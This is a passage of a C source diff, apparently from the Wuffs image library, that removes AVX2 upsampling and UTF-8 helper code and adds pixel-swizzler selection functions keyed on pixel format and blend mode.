_mm256_add_epi16(step2_p0_lo, step2_p1_lo); -- __m256i step3_p1_hi = _mm256_add_epi16(step2_p0_hi, step2_p1_hi); -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__y_16be( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__Y: -+ return wuffs_private_impl__swizzle_y__y_16be; - -- // Bias by 8 (on the left) or 7 (on the right) and then divide by 16 -- // (which is 9+3+3+1) to get a weighted average. On the left (m1), shift -- // the u16 right value by 4. On the right (p1), shift right by 4 and then -- // shift left by 8 so that, when still in the u16x16 little-endian -- // interpretation, we have: -- // - m1_element = (etcetera + 8) >> 4 -- // - p1_element = ((etcetera + 7) >> 4) << 8 -- // -- // step4_m1_lo = [0x00?? 0x00?? ... 0x00?? 0x00??] -- // step4_p1_lo = [0x??00 0x??00 ... 0x??00 0x??00] -- // step4_m1_hi = [0x00?? 0x00?? ... 0x00?? 0x00??] -- // step4_p1_hi = [0x??00 0x??00 ... 0x??00 0x??00] -- __m256i step4_m1_lo = _mm256_srli_epi16( -- _mm256_add_epi16(step3_m1_lo, _mm256_set1_epi16(8)), 4); -- __m256i step4_p1_lo = _mm256_slli_epi16( -- _mm256_srli_epi16(_mm256_add_epi16(step3_p1_lo, _mm256_set1_epi16(7)), -- 4), -- 8); -- __m256i step4_m1_hi = _mm256_srli_epi16( -- _mm256_add_epi16(step3_m1_hi, _mm256_set1_epi16(8)), 4); -- __m256i step4_p1_hi = _mm256_slli_epi16( -- _mm256_srli_epi16(_mm256_add_epi16(step3_p1_hi, _mm256_set1_epi16(7)), -- 4), -- 8); -+ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: -+ return wuffs_private_impl__swizzle_y_16le__y_16be; - -- // Bitwise-or two "0x00"-rich u16x16 vectors to get a u8x32 vector. Do -- // that twice. Once for the low columns and once for the high columns. -- // -- // In terms of jxx (major row) or nxx (minor row) source samples: -- // - low columns means ( 0 .. 8; 16 .. 24). -- // - high columns means ( 8 .. 16; 24 .. 32). -- // -- // In terms of dxx destination samples (there are twice as many): -- // - low columns means ( 0 .. 16; 32 .. 48). -- // - high columns means (16 .. 32; 48 .. 64). -- // -- // step5_lo = [d00 d01 .. d14 d15 d32 d33 .. d46 d47] -- // step5_hi = [d16 d17 .. d30 d31 d48 d49 .. d62 d63] -- // -- // The d00, d02 ... d62 even elements come from (p0, m1) weighted sums. -- // The d01, d03 ... d63 odd elements come from (p0, p1) weighted sums. -- __m256i step5_lo = _mm256_or_si256(step4_m1_lo, step4_p1_lo); -- __m256i step5_hi = _mm256_or_si256(step4_m1_hi, step4_p1_hi); -+ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: -+ return wuffs_private_impl__swizzle_copy_2_2; - -- // Permute and store. -- // -- // step6_00_31 = [d00 d01 .. d14 d15 d16 d17 .. d30 d31] -- // step6_32_63 = [d32 d33 .. d46 d47 d48 d49 .. d62 d63] -- __m256i step6_00_31 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x20); -- __m256i step6_32_63 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x31); -- _mm256_storeu_si256((__m256i*)(void*)(dp + 0x00), step6_00_31); -- _mm256_storeu_si256((__m256i*)(void*)(dp + 0x20), step6_32_63); -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ return wuffs_private_impl__swizzle_bgr_565__y_16be; - -- // Advance by up to 32 source samples (64 destination samples). The first -- // iteration might be smaller than 32 so that all of the remaining steps -- // are exactly 32. -- size_t n = 32u - (31u & (0u - src_len)); -- dp += 2u * n; -- sp_major += n; -- sp_minor += n; -- src_len -= n; -- } -- } -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ return wuffs_private_impl__swizzle_xxx__y_16be; - -- if (last_column) { -- uint32_t sv_major_m1 = sp_major[-1]; -- uint32_t sv_minor_m1 = sp_minor[-1]; -- uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. -- uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+ return wuffs_private_impl__swizzle_xxxx__y_16be; - -- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -- (3u * ((uint32_t)(*sp_minor++))); -- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: -+ return wuffs_private_impl__swizzle_xxxxxxxx__y_16be; - } -- -- return dst_ptr; -+ return NULL; - } --#endif --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) --// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 - --#endif // !defined(WUFFS_CONFIG__MODULES) || -- // defined(WUFFS_CONFIG__MODULE__BASE) || -- // defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -- defined(WUFFS_CONFIG__MODULE__BASE__UTF8) -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__ya_nonpremul( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_copy_2_2; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_ya_nonpremul__ya_nonpremul__src_over; -+ } -+ return NULL; - --// ---------------- Unicode and UTF-8 -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__MAYBE_STATIC size_t // --wuffs_base__utf_8__encode(wuffs_base__slice_u8 dst, uint32_t code_point) { -- if (code_point <= 0x7F) { -- if (dst.len >= 1) { -- dst.ptr[0] = (uint8_t)(code_point); -- return 1; -- } -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_xxx__ya_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_xxx__ya_nonpremul__src_over; -+ } -+ return NULL; - -- } else if (code_point <= 0x07FF) { -- if (dst.len >= 2) { -- dst.ptr[0] = (uint8_t)(0xC0 | ((code_point >> 6))); -- dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); -- return 2; -- } -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src_over; -+ } -+ return NULL; - -- } else if (code_point <= 0xFFFF) { -- if ((dst.len >= 3) && ((code_point < 0xD800) || (0xDFFF < code_point))) { -- dst.ptr[0] = (uint8_t)(0xE0 | ((code_point >> 12))); -- dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); -- dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); -- return 3; -- } -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src_over; -+ } -+ return NULL; - -- } else if (code_point <= 0x10FFFF) { -- if (dst.len >= 4) { -- dst.ptr[0] = (uint8_t)(0xF0 | ((code_point >> 18))); -- dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 12) & 0x3F)); -- dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); -- dst.ptr[3] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); -- return 4; -- } -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src_over; -+ } -+ return NULL; - } -- -- return 0; -+ return NULL; - } - --// wuffs_base__utf_8__byte_length_minus_1 is the byte length (minus 1) of a --// UTF-8 encoded code point, based on the encoding's initial byte. --// - 0x00 is 1-byte UTF-8 (ASCII). --// - 0x01 is the start of 2-byte UTF-8. --// - 0x02 is the start of 3-byte UTF-8. --// - 0x03 is the start of 4-byte UTF-8. --// - 0x40 is a UTF-8 tail byte. --// - 0x80 is invalid UTF-8. --// --// RFC 3629 (UTF-8) gives this grammar for valid UTF-8: --// UTF8-1 = %x00-7F --// UTF8-2 = %xC2-DF UTF8-tail --// UTF8-3 = %xE0 %xA0-BF UTF8-tail / %xE1-EC 2( UTF8-tail ) / --// %xED %x80-9F UTF8-tail / %xEE-EF 2( UTF8-tail ) --// UTF8-4 = %xF0 %x90-BF 2( UTF8-tail ) / %xF1-F3 3( UTF8-tail ) / --// %xF4 %x80-8F 2( UTF8-tail ) --// UTF8-tail = %x80-BF --static const uint8_t wuffs_base__utf_8__byte_length_minus_1[256] = { -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x30 ..= 0x37. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. -- -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 ..= 0x67. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. -- -- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x80 ..= 0x87. -- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x88 ..= 0x8F. -- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x90 ..= 0x97. -- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x98 ..= 0x9F. -- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA0 ..= 0xA7. -- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA8 ..= 0xAF. -- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB0 ..= 0xB7. -- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB8 ..= 0xBF. -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_nonpremul( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -+ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, -+ src_palette) != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return NULL; -+ } -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_copy_1_1; -+ } -+ return NULL; - -- 0x80, 0x80, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC0 ..= 0xC7. -- 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC8 ..= 0xCF. -- 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD0 ..= 0xD7. -- 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD8 ..= 0xDF. -- 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE0 ..= 0xE7. -- 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE8 ..= 0xEF. -- 0x03, 0x03, 0x03, 0x03, 0x03, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F --}; -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ if (wuffs_private_impl__swizzle_squash_align4_bgr_565_8888( -+ dst_palette.ptr, dst_palette.len, src_palette.ptr, -+ src_palette.len, true) != -+ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ return NULL; -+ } -+ return wuffs_private_impl__swizzle_bgr_565__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, -+ src_palette) != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return NULL; -+ } -+ return wuffs_private_impl__swizzle_bgr_565__index_bgra_nonpremul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // --wuffs_base__utf_8__next(const uint8_t* s_ptr, size_t s_len) { -- if (s_len == 0) { -- return wuffs_base__make_utf_8__next__output(0, 0); -- } -- uint32_t c = s_ptr[0]; -- switch (wuffs_base__utf_8__byte_length_minus_1[c & 0xFF]) { -- case 0: -- return wuffs_base__make_utf_8__next__output(c, 1); -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ if (wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src( -+ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -+ src_palette.len) != -+ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ return NULL; -+ } -+ return wuffs_private_impl__swizzle_xxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, -+ src_palette) != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return NULL; -+ } -+ return wuffs_private_impl__swizzle_xxx__index_bgra_nonpremul__src_over; -+ } -+ return NULL; - -- case 1: -- if (s_len < 2) { -- break; -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, -+ src_palette) != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return NULL; - } -- c = wuffs_base__peek_u16le__no_bounds_check(s_ptr); -- if ((c & 0xC000) != 0x8000) { -- break; -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_xxxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__index_bgra_nonpremul__src_over; - } -- c = (0x0007C0 & (c << 6)) | (0x00003F & (c >> 8)); -- return wuffs_base__make_utf_8__next__output(c, 2); -+ return NULL; - -- case 2: -- if (s_len < 3) { -- break; -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, -+ src_palette) != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return NULL; - } -- c = wuffs_base__peek_u24le__no_bounds_check(s_ptr); -- if ((c & 0xC0C000) != 0x808000) { -- break; -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_xxxxxxxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over; - } -- c = (0x00F000 & (c << 12)) | (0x000FC0 & (c >> 2)) | -- (0x00003F & (c >> 16)); -- if ((c <= 0x07FF) || ((0xD800 <= c) && (c <= 0xDFFF))) { -- break; -+ return NULL; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ if (wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src( -+ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -+ src_palette.len) != -+ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ return NULL; -+ } -+ return wuffs_private_impl__swizzle_xxxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, -+ src_palette) != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return NULL; -+ } -+ return wuffs_private_impl__swizzle_bgra_premul__index_bgra_nonpremul__src_over; - } -- return wuffs_base__make_utf_8__next__output(c, 3); -+ return NULL; - -- case 3: -- if (s_len < 4) { -- break; -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ if (wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src( -+ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -+ src_palette.len) != -+ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ return NULL; -+ } -+ return wuffs_private_impl__swizzle_xxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( -+ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -+ src_palette.len) != -+ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ return NULL; -+ } -+ return wuffs_private_impl__swizzle_xxx__index_bgra_nonpremul__src_over; - } -- c = wuffs_base__peek_u32le__no_bounds_check(s_ptr); -- if ((c & 0xC0C0C000) != 0x80808000) { -- break; -+ return NULL; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( -+ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -+ src_palette.len) != -+ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ return NULL; - } -- c = (0x1C0000 & (c << 18)) | (0x03F000 & (c << 4)) | -- (0x000FC0 & (c >> 10)) | (0x00003F & (c >> 24)); -- if ((c <= 0xFFFF) || (0x110000 <= c)) { -- break; -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_xxxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__index_bgra_nonpremul__src_over; - } -- return wuffs_base__make_utf_8__next__output(c, 4); -- } -+ return NULL; - -- return wuffs_base__make_utf_8__next__output( -- WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); --} -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ if (wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src( -+ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -+ src_palette.len) != -+ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ return NULL; -+ } -+ return wuffs_private_impl__swizzle_xxxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( -+ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -+ src_palette.len) != -+ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ return NULL; -+ } -+ return wuffs_private_impl__swizzle_bgra_premul__index_bgra_nonpremul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // --wuffs_base__utf_8__next_from_end(const uint8_t* s_ptr, size_t s_len) { -- if (s_len == 0) { -- return wuffs_base__make_utf_8__next__output(0, 0); -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+ // TODO. -+ break; - } -- const uint8_t* ptr = &s_ptr[s_len - 1]; -- if (*ptr < 0x80) { -- return wuffs_base__make_utf_8__next__output(*ptr, 1); -+ return NULL; -+} - -- } else if (*ptr < 0xC0) { -- const uint8_t* too_far = &s_ptr[(s_len > 4) ? (s_len - 4) : 0]; -- uint32_t n = 1; -- while (ptr != too_far) { -- ptr--; -- n++; -- if (*ptr < 0x80) { -- break; -- } else if (*ptr < 0xC0) { -- continue; -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_binary( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: -+ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, -+ src_palette) != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return NULL; - } -- wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(ptr, n); -- if (o.byte_length != n) { -- break; -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_copy_1_1; - } -- return o; -- } -- } -- -- return wuffs_base__make_utf_8__next__output( -- WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); --} -+ return NULL; - --WUFFS_BASE__MAYBE_STATIC size_t // --wuffs_base__utf_8__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { -- // TODO: possibly optimize the all-ASCII case (4 or 8 bytes at a time). -- // -- // TODO: possibly optimize this by manually inlining the -- // wuffs_base__utf_8__next calls. -- size_t original_len = s_len; -- while (s_len > 0) { -- wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(s_ptr, s_len); -- if ((o.code_point > 0x7F) && (o.byte_length == 1)) { -- break; -- } -- s_ptr += o.byte_length; -- s_len -= o.byte_length; -- } -- return original_len - s_len; --} -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ if (wuffs_private_impl__swizzle_squash_align4_bgr_565_8888( -+ dst_palette.ptr, dst_palette.len, src_palette.ptr, -+ src_palette.len, false) != -+ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ return NULL; -+ } -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr_565__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr_565__index_binary_alpha__src_over; -+ } -+ return NULL; - --WUFFS_BASE__MAYBE_STATIC size_t // --wuffs_base__ascii__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { -- // TODO: possibly optimize this by checking 4 or 8 bytes at a time. -- const uint8_t* original_ptr = s_ptr; -- const uint8_t* p = s_ptr; -- const uint8_t* q = s_ptr + s_len; -- for (; (p != q) && ((*p & 0x80) == 0); p++) { -- } -- return (size_t)(p - original_ptr); --} -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, -+ src_palette) != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return NULL; -+ } -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_xxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_xxx__index_binary_alpha__src_over; -+ } -+ return NULL; - --#endif // !defined(WUFFS_CONFIG__MODULES) || -- // defined(WUFFS_CONFIG__MODULE__BASE) || -- // defined(WUFFS_CONFIG__MODULE__BASE__UTF8) -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -+ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, -+ src_palette) != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return NULL; -+ } -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_xxxx__index__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_xxxx__index_binary_alpha__src_over; -+ } -+ return NULL; - --#ifdef __cplusplus --} // extern "C" --#endif -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ case 